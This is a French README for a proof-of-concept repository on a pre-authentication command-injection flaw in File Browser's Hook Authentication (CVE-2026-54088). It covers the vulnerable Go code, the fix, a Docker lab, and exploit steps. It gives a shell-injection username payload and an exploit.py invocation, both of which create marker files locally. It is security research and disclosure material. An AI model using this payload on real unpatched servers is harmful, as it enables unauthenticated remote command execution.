
Ce dépôt est une preuve de concept (PoC) de la vulnérabilité critique d'injection de commandes système CVE-2026-54088, présente dans File Browser en version <= 2.63.5.
Cette vulnérabilité se situe dans la fonctionnalité Hook Authentication. Lorsqu'un administrateur configure File Browser pour authentifier les utilisateurs au moyen d'une commande externe, les valeurs username et password envoyées lors de la connexion sont développées par os.Expand() dans la chaîne de commande configurée, sans échappement. Un attaquant distant non authentifié peut ainsi injecter une syntaxe shell via la requête de connexion et exécuter des commandes arbitraires avant même que l'authentification ne réussisse.
Découvreur : saku0512 (https://github.com/Saku0512)
Ce projet est destiné uniquement à des fins éducatives et de tests de sécurité éthiques.
L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou d'actes illégaux commis avec cet outil. L'accès non autorisé à des systèmes informatiques est illégal. N'utilisez ce logiciel que sur des environnements pour lesquels vous disposez d'une autorisation explicite.
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand() divise la commande d'authentification configurée puis développe les espaces réservés des identifiants à l'aide de données de requête contrôlées par l'attaquant.
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
Si la commande hook est configurée comme suit :
sh -c $USERNAME
Si un attaquant envoie un nom d'utilisateur tel que :
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
Lors de la tentative de connexion, le serveur exécute le script shell contrôlé par l'attaquant. Aucun compte ni mot de passe valide n'est requis.
Ce problème a été corrigé dans le commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f en supprimant le traitement de substitution des identifiants dans la chaîne de commande du hook. La commande hook est désormais exécutée telle que configurée, et les identifiants ne sont transmis qu'en tant que variables d'environnement.
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
Le traitement vulnérable supprimé est la boucle os.Expand() qui réécrivait les arguments de la commande avec des identifiants contrôlés par l'attaquant avant l'appel à exec.Command(). Ce correctif ajoute également des tests de régression vérifiant que la commande hook ne peut pas être modifiée par des identifiants injectés et que USERNAME / PASSWORD restent disponibles pour le hook via les variables d'environnement.
Démarrez un environnement File Browser vulnérable. Le service filebrowser-init crée la base de données et active le Hook Authentication avec une commande vulnérable.
docker compose up -d
La cible est disponible à l'adresse suivante :
http://localhost:8080
Exécutez le script d'exploit depuis ce répertoire :
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
Cet exploit envoie une seule requête de connexion non authentifiée à /api/login. L'authentification est censée échouer, mais la commande injectée est exécutée au préalable.
Ouvrez l'écran de connexion de File Browser dans votre navigateur :
http://localhost:8080
Saisissez les valeurs suivantes dans le formulaire de connexion, puis cliquez sur le bouton de connexion :
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
La connexion échoue, mais l'exécution de la commande du Hook Authentication a lieu avant que le résultat de l'authentification ne soit renvoyé. Vérifiez avec la commande suivante que le fichier marqueur a bien été créé dans le conteneur par l'opération effectuée via la GUI :
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
Si le fichier existe, cela confirme que la RCE avant authentification s'est également produite via l'opération de connexion depuis la GUI.
Vérifiez que la commande a été exécutée à l'intérieur du conteneur File Browser :
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
Si le fichier existe, la RCE avant authentification est confirmée.
docker compose down -v
Mettez à jour File Browser vers la version 2.63.6 ou une version ultérieure.
Les identifiants ne doivent pas être intégrés dans la chaîne de commande shell, mais transmis au hook uniquement sous forme de variables d'environnement. Pour les autres chemins d'exécution de commandes, il convient également d'éviter toute évaluation par le shell ou d'appliquer une séparation stricte des arguments ainsi qu'un échappement rigoureux.